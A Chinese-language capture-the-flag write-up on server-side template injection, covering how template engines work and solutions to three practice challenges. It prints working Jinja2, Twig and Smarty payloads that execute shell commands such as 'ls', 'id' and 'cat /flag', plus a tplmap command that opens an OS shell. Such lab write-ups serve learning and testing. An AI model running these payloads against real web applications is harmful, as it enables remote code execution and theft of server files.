SSTI模板注入

前言:

这几天刷题一直遇到考察SSTI模板注入的题,之前也没有好好了解过,如果叙述原理的话需要扎实的python基础,现在python还学的不是太好,就以遇到的CTF题做一个总结。

什么是模板引擎

模板引擎是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档,就是将模板文件和数据通过模板引擎生成一个HTML代码。

SSTI模板注入_第1张图片

什么是服务端模板注入

通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式。就比如一个销售软件来说,假设会发送大量的邮件给客户,并在每封邮件前SKE插入问候语,它会通过Twig(一个模板引擎)做如下处理:

$output = $twig->render( $_GET['custom_email'] , array("first_name" => $user.first_name) );

发现可以 XSS,但是问题不止如此。这行代码其实有更深层次的隐患,假设发送如下请求:

custom_email={{7*7}} // GET 参数
49  // $output 结果

服务器执行了传过去的数据,如果服务器端未进行过滤则可能引发一些攻击,模板注入和 SQL 注入的产生有几分相似——都是将未过滤的数据传给引擎解析。

一些模板payload

模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig
常见模板注入:
flask/jinja2模板注入
PHP/模版引擎Twig注入

jinja2

python2_任意执行

#(system函数换为popen('').read(),需要导入os模块)  
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
#(不需要导入os模块,直接从别的模块调用)
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
#常用的py2 EXP
().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

python3_任意执行

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

Twig

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

遇到考察SSTI的题目,可按照下面的图进行测试,从而判断出是那个模板引擎,再去找对应的payload
SSTI模板注入_第2张图片

CTF题目

fake google

——jinja2
随便输入然后查看源代码发现
在这里插入图片描述
ssti,服务器模板注入,查了一个payload直接就可以查到flag

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}

其实详细的做法应该是先去判断漏洞点,因为这里输入就回显,而且不是php,所以就要去猜想是不是ssti,这里出题师傅也给出提示,就是ssti,接下来判断是什么模板引擎,根据上面的图测试一下,试一下{{7*7}}发现有回显,判断是jinja2模板(因为是python)

接下来看一下根目录

{% for c in [].__class__.__base__.__subclasses__() %}
{%if%20c.__name__=='catch_warnings'%27'%}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{%endif%}
{% endfor %}

在这里插入图片描述
接下来读一下flag即可
在这里插入图片描述
除此之外,还可以使用Tplmap工具来做这道题

python tplmap.py -u http://8f55fac1-eb01-4ab6-898c-e9b8600cb0d8.node3.buuoj.cn//qaq?name= --os-shell

SSTI模板注入_第3张图片
工具介绍

The mystery of ip

——Smarty
SSTI模板注入_第4张图片
出现一个IP,而且有一个提示

<!-- Do you know why i know your ip? -->

应该是与XFF有关的,抓包查看下
SSTI模板注入_第5张图片
发现输入什么便回显什么,一开始尝试了SQL注入、命令执行等,都不行,尝试一下SSTI
SSTI模板注入_第6张图片
果然是,那下面就好办了,只需要根据上面的图来测试出是那个模板即可
SSTI模板注入_第7张图片
在里面输入命令,能够回显,所以是Smarty模板,那下面直接得到flag了

X-Forwarded-For: {{system('cat /flag')}}

Cookie is so stable

——Twig
SSTI模板注入_第8张图片
The mystery of ip这道题页面一样,测试一下是不是SSTI
SSTI模板注入_第9张图片
SSTI模板注入_第10张图片
确定就是SSTI模板注入,同时模板是Twig(因为页面是PHP)

同时查看提示是

<!-- Why not take a closer look at cookies? -->

应该是要与cookie联系在一起,抓包进行分析
SSTI模板注入_第11张图片
在response中出现一个Set-cookie:user,使用一下这个参数看看
SSTI模板注入_第12张图片
发现Hello后面会出现回显,那下面就好办了,已经知道模板了,找payload即可

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

SSTI模板注入_第13张图片
接下来查看flag即可

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

参考博客:

https://www.jianshu.com/p/e4aa40458dfd
https://www.cnblogs.com/hackxf/p/10480071.html

未完待续,待遇到新的题目再进行总结

你可能感兴趣的:(WEB漏洞学习)